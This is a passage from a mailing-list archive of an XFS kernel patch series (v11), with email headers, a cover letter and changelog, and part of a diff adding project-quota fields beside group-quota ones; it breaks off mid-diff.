r6B50nqf367790 for ; Wed, 10 Jul 2013 23:00:49 -0600 Received: from d03av02.boulder.ibm.com (loopback [127.0.0.1]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6B50n2X004178 for ; Wed, 10 Jul 2013 23:00:49 -0600 Received: from chandra-dt.austin.ibm.com (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6B50l7O004066; Wed, 10 Jul 2013 23:00:47 -0600 From: Chandra Seetharaman To: xfs@oss.sgi.com Cc: Chandra Seetharaman Subject: [PATCH v11 0/4] Allow pquota and gquota to be used together Date: Thu, 11 Jul 2013 00:00:39 -0500 X-ASG-Orig-Subj: [PATCH v11 0/4] Allow pquota and gquota to be used together Message-Id: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> X-Mailer: git-send-email 1.7.1 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071105-7606-0000-0000-00000D38D869 X-Barracuda-Connect: e36.co.us.ibm.com[32.97.110.154] X-Barracuda-Start-Time: 1373518853 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com Hello All, This is the version 11 of the changes to allow pquota and gquota to be used together. Patchset applies cleanly on top of 42c49d7f249c2487f36d3314753d5d8ebcee8249 in xfs git tree. --- Chandra Seetharaman (4): xfs: Add pquota fields where gquota is used. xfs: Start using pquotaino from the superblock. xfs: Add proper versioning support to fs_quota_stat xfs: Use new qs_pquota field in fs_quota_stat for Q_XGETQSTAT fs/gfs2/quota.c | 3 - fs/quota/quota.c | 67 ++++++++++- fs/xfs/xfs_dquot.c | 15 ++- fs/xfs/xfs_dquot.h | 7 +- fs/xfs/xfs_icache.c | 1 + fs/xfs/xfs_inode.h | 1 + fs/xfs/xfs_ioctl.c | 14 +- fs/xfs/xfs_iops.c | 4 +- fs/xfs/xfs_mount.c | 62 +++++++++-- fs/xfs/xfs_qm.c | 259 ++++++++++++++++++++++++++++------------ fs/xfs/xfs_qm.h | 20 ++- fs/xfs/xfs_qm_bhv.c | 10 +- fs/xfs/xfs_qm_syscalls.c | 70 +++++++++--- fs/xfs/xfs_quota.h | 32 +++-- fs/xfs/xfs_sb.h | 9 ++- fs/xfs/xfs_super.c | 19 ++-- fs/xfs/xfs_symlink.c | 10 +- fs/xfs/xfs_trans_dquot.c | 26 ++++- fs/xfs/xfs_vnodeops.c | 13 ++- include/uapi/linux/dqblk_xfs.h | 59 ++++++++- 20 files changed, 528 insertions(+), 173 deletions(-) ---------- Changes from version 10 to verion 11: - Few of the patches have been merged. - Localized all the logic to handle simultaneous use of XFS_SB_GQUOTINO and XFS_SB_PQUOTINO to xfs_sb_quota_from_disk() and xfs_sb_from_disk as per Dave's suggestion. - moved setting sb_pquotino to xfs_sb_quota_frp,_disk() as per Dave's suggestion. - Added new Q_XGETQSTATV command to handle the new sematics of quota_stata as per Jan's comment. - Fixed few nits as per Ben's comment Version 10 can be found at: http://oss.sgi.com/archives/xfs/2013-06/msg00902.html Changes from version 9 to version 10: - Split prep into 6 patches as per Ben and Dave's suggestion - Added xfs_sb_quota_from_disk() as per Dave's suggestion - Made u/g/p ordering consistent - Fixed fields in fs_quota_stat as per Dave's suggestion - Moved few ASSERTs to be inside error check as per Ben's suggestion - Few cosmetic changes Version 9 can be found at: http://oss.sgi.com/archives/xfs/2013-06/msg00770.html Changes from verion 8 to version 9: - Made all the changes suggested by Dave - Rearranged code to make the functional changes to not be cluttered. Version 8 can be found at: http://oss.sgi.com/archives/xfs/2013-05/msg00296.html Changes from version 7 to version 8: - Rebased to the current code. - Modified code to use the new pquotino field in version 5 of the superblock. Version 7 can be found at: http://oss.sgi.com/archives/xfs/2013-03/msg00671.html Changes from version 6 to version 7: - Made all the changes suggested by Dave Chinner - Added padding to fs_quota_stat, which made the new data structure field ordering different from the old data structure field ordering. So, copied the old version to be _v1 version and used that if old version of data structure was provided from user space. Version 6 can be found at: http://oss.sgi.com/archives/xfs/2012-07/msg00286.html Changes from version 5 to version 6: - Use radix tree instead of hash table Version 5 can be found at: http://oss.sgi.com/archives/xfs/2012-03/msg00310.html Changes fron version 4 to version 5: rebase with the current tree one simple change. Version 4 can be found at http://oss.sgi.com/archives/xfs/2012-02/msg00528.html Changes from version 3 to version 4: - Remove save_flags with storing the value (in to superblock) based on field type info - fix checkpatch.pl warnings and errors Version 3 of the posting can be found at http://oss.sgi.com/archives/xfs/2012-01/msg00309.html Changes from version 2 to version 3: - hash table for pquota is added. - changes to apply cleanly with the latest tree version 2 of the posting can be found at http://oss.sgi.com/archives/xfs/2011-10/msg00470.html Changes from version 1 to version 2: - Created a new prep patch to accomodate some generic changes that ease the later patches. - Created a new patch to add a new field qs_pquota to fs_quota_stat with appropriate versioning changes - Changed the logic to allow XFS_OQUOTA.* flags to be allowed only in the older versions. - Changed couple of places where PQUOTA checking was on the else if construct so as to allow both GQUOTA and PQUOTA in those places. - Fixed comments in xfs_quota.h to reflect the current changes. - Changed the name of the macro XFS_SB_VERSION2_SEPER_PQUOTA to XFS_SB_VERSION2_NO_OQUOTA - got rid of the macros XFS_MOUNT_QUOTA_SET1 and XFS_MOUNT_QUOTA_SET2 - added a new inline function xfs_inode_dquot(ip, type) to simplify the error path in xfs_qm_dqget() - got rid of the macro XFS_IS_THIS_QUOTA_OFF - added comment to explain why sb_qflags is saved and restored in xfs_sb_to_disk() version 1 of the posting can be found at http://oss.sgi.com/archives/xfs/2011-10/msg00341.html Thanks & Regards, chandra From sekharan@us.ibm.com Thu Jul 11 00:00:57 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 914BE7F61 for ; Thu, 11 Jul 2013 00:00:57 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4211C8F8039 for ; Wed, 10 Jul 2013 22:00:57 -0700 (PDT) X-ASG-Debug-ID: 1373518854-04bdf0233ede7550001-NocioJ Received: from e38.co.us.ibm.com (e38.co.us.ibm.com [32.97.110.159]) by cuda.sgi.com with ESMTP id 1MF9LHzICpTN3awR (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 10 Jul 2013 22:00:55 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.159 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.159] Received: from /spool/local by e38.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Wed, 10 Jul 2013 23:00:54 -0600 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.159] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.159] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.159] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.159] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e38.co.us.ibm.com (192.168.1.138) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Wed, 10 Jul 2013 23:00:53 -0600 Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 332EB19D8036 for ; Wed, 10 Jul 2013 23:00:42 -0600 (MDT) Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168]) by d03relay04.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r6B50qPF248970 for ; Wed, 10 Jul 2013 23:00:52 -0600 Received: from d03av02.boulder.ibm.com (loopback [127.0.0.1]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r6B50pMH004467 for ; Wed, 10 Jul 2013 23:00:51 -0600 Received: from chandra-dt.austin.ibm.com (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av02.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r6B50l7P004066; Wed, 10 Jul 2013 23:00:50 -0600 From: Chandra Seetharaman To: xfs@oss.sgi.com Cc: Chandra Seetharaman Subject: [PATCH v11 1/4] xfs: Add pquota fields where gquota is used. Date: Thu, 11 Jul 2013 00:00:40 -0500 X-ASG-Orig-Subj: [PATCH v11 1/4] xfs: Add pquota fields where gquota is used. Message-Id: <1373518843-1492-2-git-send-email-sekharan@us.ibm.com> X-Mailer: git-send-email 1.7.1 In-Reply-To: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> References: <1373518843-1492-1-git-send-email-sekharan@us.ibm.com> X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13071105-5518-0000-0000-0000103F857C X-Barracuda-Connect: e38.co.us.ibm.com[32.97.110.159] X-Barracuda-Start-Time: 1373518855 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com Add project quota changes to all the places where group quota field is used: * add separate project quota members into various structures * split project quota and group quotas so that instead of overriding the group quota members incore, the new project quota members are used instead * get rid of usage of the OQUOTA flag incore, in favor of separate group and project quota flags. * add a project dquot argument to various functions. Not using the pquotino field from superblock yet. Signed-off-by: Chandra Seetharaman --- fs/xfs/xfs_dquot.c | 15 +++- fs/xfs/xfs_dquot.h | 7 +- fs/xfs/xfs_icache.c | 1 + fs/xfs/xfs_inode.h | 1 + fs/xfs/xfs_ioctl.c | 14 ++-- fs/xfs/xfs_iops.c | 4 +- fs/xfs/xfs_qm.c | 243 +++++++++++++++++++++++++++++++++------------- fs/xfs/xfs_qm.h | 20 +++-- fs/xfs/xfs_qm_bhv.c | 10 +- fs/xfs/xfs_qm_syscalls.c | 19 +++- fs/xfs/xfs_quota.h | 32 ++++--- fs/xfs/xfs_symlink.c | 10 ++- fs/xfs/xfs_trans_dquot.c | 26 ++++- fs/xfs/xfs_vnodeops.c | 13 ++- 14 files changed, 291 insertions(+), 124 deletions(-) diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index f01012d..0adf27e 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -936,6 +936,7 @@ xfs_qm_dqput_final( { struct xfs_quotainfo *qi = dqp->q_mount->m_quotainfo; struct xfs_dquot *gdqp; + struct xfs_dquot *pdqp; trace_xfs_dqput_free(dqp); @@ -949,21 +950,29 @@ xfs_qm_dqput_final( /* * If we just added a udquot to the freelist, then we want to release - * the gdquot reference that it (probably) has. Otherwise it'll keep - * the gdquot from getting reclaimed. + * the gdquot/pdquot reference that it (probably) has. Otherwise it'll + * keep the gdquot/pdquot from getting reclaimed. */ gdqp = dqp->q_gdquot; if (gdqp) { xfs_dqlock(gdqp); dqp->q_gdquot = NULL; } + + pdqp = dqp->q_pdquot; + if (pdqp) { + xfs_dqlock(pdqp); + dqp->q_pdquot = NULL; + } xfs_dqunlock(dqp); /* - * If we had a group quota hint, release it now. + * If we had a group/project quota hint, release it now. */ if (gdqp) xfs_qm_dqput(gdqp); + if (pdqp) + xfs_qm_dqput(pdqp); } /* diff --git a/fs/xfs/xfs_dquot.h b/fs/xfs/xfs_dquot.h index b596626..55abbca 100644 --- a/fs/xfs/xfs_dquot.h +++ b/fs/xfs/xfs_dquot.h @@ -53,6 +53,7 @@ typedef struct xfs_dquot { xfs_fileoff_t q_fileoffset; /* offset in quotas file */ struct xfs_dquot*q_gdquot; /* group dquot, hint only */ + struct xfs_dquot*q_pdquot; /* project dquot, hint only */ xfs_disk_dquot_t q_core; /* actual usage & quotas */ xfs_dq_logitem_t q_logitem; /* dquot log item */ xfs_qcnt_t q_res_bcount; /* total regular nblks used+reserved */ @@ -118,8 +119,9 @@ static inline int xfs_this_quota_on(struct xfs_mount *mp, int type) case XFS_DQ_USER: return XFS_IS_UQUOTA_ON(mp); case XFS_DQ_GROUP: + return XFS_IS_GQUOTA_ON(mp); case XFS_DQ_PROJ: - return XFS_IS_OQUOTA_ON(mp); + return XFS_IS_PQUOTA_ON(mp); default: return 0; } @@ -131,8 +133,9 @@ static inline xfs_dquot_t *xfs_inode_dquot(struct xfs_inode *ip, int type) case XFS_DQ_USER: return ip->i_udquot; case XFS_DQ_GROUP: - case XFS_DQ_PROJ: return ip->i_gdquot; + case XFS_DQ_PROJ: + return ip->i_pdquot; default: return NULL; } diff --git a/fs/xfs/xfs_icache.c b/fs/xfs/xfs_icache.c index 9560dc1..3f90e1c 100644 --- a/fs/xfs/xfs_icache.c +++ b/fs/xfs/xfs_icache.c @@ -337,6 +337,7 @@ xfs_iget_cache_miss( iflags |= XFS_IDONTCACHE; ip->i_udquot = NULL; ip->i_gdquot = NULL; + ip->i_pdquot = NULL; xfs_iflags_set(ip, iflags); /* insert the new inode */ diff --git a/fs/xfs/xfs_inode.h b/fs/xfs/xfs_inode.h index 9112979..b55fd34 100644 --- a/fs/xfs/xfs_inode.h +++ b/fs/xfs/xfs_inode.h @@ -250,6 +250,7 @@ typedef struct xfs_inode { struct xfs_mount *i_mount; /* fs mount struct ptr */ struct xfs_dquot *i_udquot; /* user dquot */ struct xfs_dquot *i_gdquot; /* group dquot */ + struct xfs_dquot *i_pdquot; /* project dquot */ /* Inode location stuff */ xfs_ino_t i_ino; /* inode number (agno/agino)*/ diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index dc5b659..6e2bca5 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -928,7 +928,7 @@ xfs_ioctl_setattr( struct xfs_trans *tp; unsigned int lock_flags = 0; struct xfs_dquot *udqp = NULL; - struct xfs_dquot *gdqp = NULL; + struct xfs_dquot *pdqp = NULL; struct xfs_dquot *olddquot = NULL; int code; @@ -957,7 +957,7 @@ xfs_ioctl_setattr( if (XFS_IS_QUOTA_ON(mp) && (mask & FSX_PROJID)) { code = xfs_qm_vop_dqalloc(ip, ip->i_d.di_uid, ip->i_d.di_gid, fa->fsx_projid, - XFS_QMOPT_PQUOTA, &udqp, &gdqp); + XFS_QMOPT_PQUOTA, &udqp, NULL, &pdqp); if (code) return code; } @@ -994,8 +994,8 @@ xfs_ioctl_setattr( XFS_IS_PQUOTA_ON(mp) && xfs_get_projid(ip) != fa->fsx_projid) { ASSERT(tp); - code = xfs_qm_vop_chown_reserve(tp, ip, udqp, gdqp, - capable(CAP_FOWNER) ? + code = xfs_qm_vop_chown_reserve(tp, ip, udqp, NULL, + pdqp, capable(CAP_FOWNER) ? XFS_QMOPT_FORCE_RES : 0); if (code) /* out of quota */ goto error_return; @@ -1113,7 +1113,7 @@ xfs_ioctl_setattr( if (xfs_get_projid(ip) != fa->fsx_projid) { if (XFS_IS_QUOTA_RUNNING(mp) && XFS_IS_PQUOTA_ON(mp)) { olddquot = xfs_qm_vop_chown(tp, ip, - &ip->i_gdquot, gdqp); + &ip->i_pdquot, pdqp); } xfs_set_projid(ip, fa->fsx_projid); @@ -1160,13 +1160,13 @@ xfs_ioctl_setattr( */ xfs_qm_dqrele(olddquot); xfs_qm_dqrele(udqp); - xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); return code; error_return: xfs_qm_dqrele(udqp); - xfs_qm_dqrele(gdqp); + xfs_qm_dqrele(pdqp); xfs_trans_cancel(tp, 0); if (lock_flags) xfs_iunlock(ip, lock_flags); diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 8865261..96dda62 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -539,7 +539,7 @@ xfs_setattr_nonsize( ASSERT(udqp == NULL); ASSERT(gdqp == NULL); error = xfs_qm_vop_dqalloc(ip, uid, gid, xfs_get_projid(ip), - qflags, &udqp, &gdqp); + qflags, &udqp, &gdqp, NULL); if (error) return error; } @@ -575,7 +575,7 @@ xfs_setattr_nonsize( (XFS_IS_GQUOTA_ON(mp) && igid != gid))) { ASSERT(tp); error = xfs_qm_vop_chown_reserve(tp, ip, udqp, gdqp, - capable(CAP_FOWNER) ? + NULL, capable(CAP_FOWNER) ? XFS_QMOPT_FORCE_RES : 0); if (error) /* out of quota */ goto out_trans_cancel; diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 7a3e007..d320794 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -137,6 +137,7 @@ xfs_qm_dqpurge( struct xfs_mount *mp = dqp->q_mount; struct xfs_quotainfo *qi = mp->m_quotainfo; struct xfs_dquot *gdqp = NULL; + struct xfs_dquot *pdqp = NULL; xfs_dqlock(dqp); if ((dqp->dq_flags & XFS_DQ_FREEING) || dqp->q_nrefs != 0) { @@ -145,8 +146,7 @@ xfs_qm_dqpurge( } /* - * If this quota has a group hint attached, prepare for releasing it - * now. + * If this quota has a hint attached, prepare for releasing it now. */ gdqp = dqp->q_gdquot; if (gdqp) { @@ -154,6 +154,12 @@ xfs_qm_dqpurge( dqp->q_gdquot = NULL; } + pdqp = dqp->q_pdquot; + if (pdqp) { + xfs_dqlock(pdqp); + dqp->q_pdquot = NULL; + } + dqp->dq_flags |= XFS_DQ_FREEING; xfs_dqflock(dqp); @@ -208,6 +214,8 @@ xfs_qm_dqpurge( if (gdqp) xfs_qm_dqput(gdqp); + if (pdqp) + xfs_qm_dqput(pdqp); return 0; } @@ -364,6 +372,10 @@ xfs_qm_unmount_quotas( IRELE(mp->m_quotainfo->qi_gquotaip); mp->m_quotainfo->qi_gquotaip = NULL; } + if (mp->m_quotainfo->qi_pquotaip) { + IRELE(mp->m_quotainfo->qi_pquotaip); + mp->m_quotainfo->qi_pquotaip = NULL; + } } } @@ -410,7 +422,10 @@ xfs_qm_dqattach_one( * be reclaimed as long as we have a ref from inode and we * hold the ilock. */ - dqp = udqhint->q_gdquot; + if (type == XFS_DQ_GROUP) + dqp = udqhint->q_gdquot; + else + dqp = udqhint->q_pdquot; if (dqp && be32_to_cpu(dqp->q_core.d_id) == id) { ASSERT(*IO_idqpp == NULL); @@ -453,28 +468,42 @@ xfs_qm_dqattach_one( /* - * Given a udquot and gdquot, attach a ptr to the group dquot in the - * udquot as a hint for future lookups. + * Given a udquot and group/project type, attach the group/project + * dquot pointer to the udquot as a hint for future lookups. */ STATIC void -xfs_qm_dqattach_grouphint( - xfs_dquot_t *udq, - xfs_dquot_t *gdq) +xfs_qm_dqattach_hint( + struct xfs_inode *ip, + int type) { - xfs_dquot_t *tmp; + struct xfs_dquot **dqhintp; + struct xfs_dquot *dqp; + struct xfs_dquot *udq = ip->i_udquot; + + ASSERT(type == XFS_DQ_GROUP || type == XFS_DQ_PROJ); xfs_dqlock(udq); - tmp = udq->q_gdquot; - if (tmp) { - if (tmp == gdq) + if (type == XFS_DQ_GROUP) { + dqp = ip->i_gdquot; + dqhintp = &udq->q_gdquot; + } else { + dqp = ip->i_pdquot; + dqhintp = &udq->q_pdquot; + } + + if (*dqhintp) { + struct xfs_dquot *tmp; + + if (*dqhintp == dqp) goto done; - udq->q_gdquot = NULL; + tmp = *dqhintp; + *dqhintp = NULL; xfs_qm_dqrele(tmp); } - udq->q_gdquot = xfs_qm_dqhold(gdq); + *dqhintp = xfs_qm_dqhold(dqp); done: xfs_dqunlock(udq); } @@ -527,12 +556,8 @@ xfs_qm_dqattach_locked( } ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - if (XFS_IS_OQUOTA_ON(mp)) { - error = XFS_IS_GQUOTA_ON(mp) ? - xfs_qm_dqattach_one(ip, ip->i_d.di_gid, XFS_DQ_GROUP, - flags & XFS_QMOPT_DQALLOC, - ip->i_udquot, &ip->i_gdquot) : - xfs_qm_dqattach_one(ip, xfs_get_projid(ip), XFS_DQ_PROJ, + if (XFS_IS_GQUOTA_ON(mp)) { + error = xfs_qm_dqattach_one(ip, ip->i_d.di_gid, XFS_DQ_GROUP, flags & XFS_QMOPT_DQALLOC, ip->i_udquot, &ip->i_gdquot); /* @@ -544,14 +569,28 @@ xfs_qm_dqattach_locked( nquotas++; } + ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); + if (XFS_IS_PQUOTA_ON(mp)) { + error = xfs_qm_dqattach_one(ip, xfs_get_projid(ip), XFS_DQ_PROJ, + flags & XFS_QMOPT_DQALLOC, + ip->i_udquot, &ip->i_pdquot); + /* + * Don't worry about the udquot that we may have + * attached above. It'll get detached, if not already. + */ + if (error) + goto done; + nquotas++; + } + /* - * Attach this group quota to the user quota as a hint. + * Attach this group/project quota to the user quota as a hint. * This WON'T, in general, result in a thrash. */ - if (nquotas == 2) { + if (nquotas > 1 && ip->i_udquot) { ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); - ASSERT(ip->i_udquot); - ASSERT(ip->i_gdquot); + ASSERT(ip->i_gdquot || !XFS_IS_GQUOTA_ON(mp)); + ASSERT(ip->i_pdquot || !XFS_IS_PQUOTA_ON(mp)); /* * We do not have i_udquot locked at this point, but this check @@ -560,7 +599,10 @@ xfs_qm_dqattach_locked( * succeed in general. */ if (ip->i_udquot->q_gdquot != ip->i_gdquot) - xfs_qm_dqattach_grouphint(ip->i_udquot, ip->i_gdquot); + xfs_qm_dqattach_hint(ip, XFS_DQ_GROUP); + + if (ip->i_udquot->q_pdquot != ip->i_pdquot) + xfs_qm_dqattach_hint(ip, XFS_DQ_PROJ); } done: @@ -568,8 +610,10 @@ xfs_qm_dqattach_locked( if (!error) { if (XFS_IS_UQUOTA_ON(mp)) ASSERT(ip->i_udquot); - if (XFS_IS_OQUOTA_ON(mp)) + if (XFS_IS_GQUOTA_ON(mp)) ASSERT(ip->i_gdquot); + if (XFS_IS_PQUOTA_ON(mp)) + ASSERT(ip->i_pdquot); } ASSERT(xfs_isilocked(ip, XFS_ILOCK_EXCL)); #endif @@ -602,7 +646,7 @@ void xfs_qm_dqdetach( xfs_inode_t *ip) { - if (!(ip->i_udquot || ip->i_gdquot)) + if (!(ip->i_udquot || ip->i_gdquot || ip->i_pdquot)) return; trace_xfs_dquot_dqdetach(ip); @@ -616,6 +660,10 @@ xfs_qm_dqdetach( xfs_qm_dqrele(ip->i_gdquot); ip->i_gdquot = NULL; } + if (ip->i_pdquot) { + xfs_qm_dqrele(ip->i_pdquot); + ip->i_pdquot = NULL; + } } int @@ -660,6 +708,7 @@ xfs_qm_init_quotainfo( INIT_RADIX_TREE(&qinf->qi_uquota_tree, GFP_NOFS); INIT_RADIX_TREE(&qinf->qi_gquota_tree, GFP_NOFS); + INIT_RADIX_TREE(&qinf->qi_pquota_tree, GFP_NOFS); mutex_init(&qinf->qi_tree_lock); INIT_LIST_HEAD(&qinf->qi_lru_list); @@ -761,6 +810,10 @@ xfs_qm_destroy_quotainfo( IRELE(qi->qi_gquotaip); qi->qi_gquotaip = NULL; } + if (qi->qi_pquotaip) { + IRELE(qi->qi_pquotaip); + qi->qi_pquotaip = NULL; + } mutex_destroy(&qi->qi_quotaofflock); kmem_free(qi); mp->m_quotainfo = NULL; @@ -1269,13 +1322,14 @@ xfs_qm_quotacheck( LIST_HEAD (buffer_list); struct xfs_inode *uip = mp->m_quotainfo->qi_uquotaip; struct xfs_inode *gip = mp->m_quotainfo->qi_gquotaip; + struct xfs_inode *pip = mp->m_quotainfo->qi_pquotaip; count = INT_MAX; structsz = 1; lastino = 0; flags = 0; - ASSERT(uip || gip); + ASSERT(uip || gip || pip); ASSERT(XFS_IS_QUOTA_RUNNING(mp)); xfs_notice(mp, "Quotacheck needed: Please wait."); @@ -1294,13 +1348,19 @@ xfs_qm_quotacheck( } if (gip) { - error = xfs_qm_dqiterate(mp, gip, XFS_IS_GQUOTA_ON(mp) ? - XFS_QMOPT_GQUOTA : XFS_QMOPT_PQUOTA, + error = xfs_qm_dqiterate(mp, gip, XFS_QMOPT_GQUOTA, &buffer_list); if (error) goto error_return; - flags |= XFS_IS_GQUOTA_ON(mp) ? - XFS_GQUOTA_CHKD : XFS_PQUOTA_CHKD; + flags |= XFS_GQUOTA_CHKD; + } + + if (pip) { + error = xfs_qm_dqiterate(mp, pip, XFS_QMOPT_PQUOTA, + &buffer_list); + if (error) + goto error_return; + flags |= XFS_PQUOTA_CHKD; } do { @@ -1397,6 +1457,7 @@ xfs_qm_init_quotainos( { struct xfs_inode *uip = NULL; struct xfs_inode *gip = NULL; + struct xfs_inode *pip = NULL; int error; __int64_t sbflags = 0; uint flags = 0; @@ -1415,7 +1476,7 @@ xfs_qm_init_quotainos( if (error) return XFS_ERROR(error); } - if (XFS_IS_OQUOTA_ON(mp) && + if (XFS_IS_GQUOTA_ON(mp) && mp->m_sb.sb_gquotino != NULLFSINO) { ASSERT(mp->m_sb.sb_gquotino > 0); error = xfs_iget(mp, NULL, mp->m_sb.sb_gquotino, @@ -1423,6 +1484,15 @@ xfs_qm_init_quotainos( if (error) goto error_rele; } + /* XXX: Use gquotino for now */ + if (XFS_IS_PQUOTA_ON(mp) && + mp->m_sb.sb_gquotino != NULLFSINO) { + ASSERT(mp->m_sb.sb_gquotino > 0); + error = xfs_iget(mp, NULL, mp->m_sb.sb_gquotino, + 0, 0, &pip); + if (error) + goto error_rele; + } } else { flags |= XFS_QMOPT_SBVERSION; sbflags |= (XFS_SB_VERSIONNUM | XFS_SB_UQUOTINO | @@ -1430,7 +1500,7 @@ xfs_qm_init_quotainos( } /* - * Create the two inodes, if they don't exist already. The changes + * Create the three inodes, if they don't exist already. The changes * made above will get added to a transaction and logged in one of * the qino_alloc calls below. If the device is readonly, * temporarily switch to read-write to do this. @@ -1444,17 +1514,27 @@ xfs_qm_init_quotainos( flags &= ~XFS_QMOPT_SBVERSION; } - if (XFS_IS_OQUOTA_ON(mp) && gip == NULL) { - flags |= (XFS_IS_GQUOTA_ON(mp) ? - XFS_QMOPT_GQUOTA : XFS_QMOPT_PQUOTA); + if (XFS_IS_GQUOTA_ON(mp) && gip == NULL) { error = xfs_qm_qino_alloc(mp, &gip, - sbflags | XFS_SB_GQUOTINO, flags); + sbflags | XFS_SB_GQUOTINO, + flags | XFS_QMOPT_GQUOTA); + if (error) + goto error_rele; + + flags &= ~XFS_QMOPT_SBVERSION; + } + if (XFS_IS_PQUOTA_ON(mp) && pip == NULL) { + /* XXX: Use XFS_SB_GQUOTINO for now */ + error = xfs_qm_qino_alloc(mp, &pip, + sbflags | XFS_SB_GQUOTINO, + flags | XFS_QMOPT_PQUOTA); if (error) goto error_rele; } mp->m_quotainfo->qi_uquotaip = uip; mp->m_quotainfo->qi_gquotaip = gip; + mp->m_quotainfo->qi_pquotaip = pip; return 0; @@ -1463,6 +1543,8 @@ error_rele: IRELE(uip); if (gip) IRELE(gip); + if (pip) + IRELE(pip); return XFS_ERROR(error); } @@ -1657,11 +1739,13 @@ xfs_qm_vop_dqalloc( prid_t prid, uint flags, struct xfs_dquot **O_udqpp, - struct xfs_dquot **O_gdqpp) + struct xfs_dquot **O_gdqpp, + struct xfs_dquot **O_pdqpp) { struct xfs_mount *mp = ip->i_mount; struct xfs_dquot *uq = NULL; struct xfs_dquot *gq = NULL; + struct xfs_dquot *pq = NULL; int error; uint lockflags; @@ -1741,24 +1825,25 @@ xfs_qm_vop_dqalloc( ASSERT(ip->i_gdquot); gq = xfs_qm_dqhold(ip->i_gdquot); } - } else if ((flags & XFS_QMOPT_PQUOTA) && XFS_IS_PQUOTA_ON(mp)) { + } + if ((flags & XFS_QMOPT_PQUOTA) && XFS_IS_PQUOTA_ON(mp)) { if (xfs_get_projid(ip) != prid) { xfs_iunlock(ip, lockflags); error = xfs_qm_dqget(mp, NULL, (xfs_dqid_t)prid, XFS_DQ_PROJ, XFS_QMOPT_DQALLOC | XFS_QMOPT_DOWARN, - &gq); + &pq); if (error) { ASSERT(error != ENOENT); goto error_rele; } - xfs_dqunlock(gq); + xfs_dqunlock(pq); lockflags = XFS_ILOCK_SHARED; xfs_ilock(ip, lockflags); } else { - ASSERT(ip->i_gdquot); - gq = xfs_qm_dqhold(ip->i_gdquot); + ASSERT(ip->i_pdquot); + pq = xfs_qm_dqhold(ip->i_pdquot); } } if (uq) @@ -1773,9 +1858,15 @@ xfs_qm_vop_dqalloc( *O_gdqpp = gq; else if (gq) xfs_qm_dqrele(gq); + if (O_pdqpp) + *O_pdqpp = pq; + else if (pq) + xfs_qm_dqrele(pq); return 0; error_rele: + if (gq) + xfs_qm_dqrele(gq); if (uq) xfs_qm_dqrele(uq); return error; @@ -1830,14 +1921,17 @@ xfs_qm_vop_chown_reserve( struct xfs_inode *ip, struct xfs_dquot *udqp, struct xfs_dquot *gdqp, + struct xfs_dquot *pdqp, uint flags) { struct xfs_mount *mp = ip->i_mount; uint delblks, blkflags, prjflags = 0; struct xfs_dquot *udq_unres = NULL; struct xfs_dquot *gdq_unres = NULL; + struct xfs_dquot *pdq_unres = NULL; struct xfs_dquot *udq_delblks = NULL; struct xfs_dquot *gdq_delblks = NULL; + struct xfs_dquot *pdq_delblks = NULL; int error; @@ -1861,24 +1955,28 @@ xfs_qm_vop_chown_reserve( udq_unres = ip->i_udquot; } } - if (XFS_IS_OQUOTA_ON(ip->i_mount) && gdqp) { - if 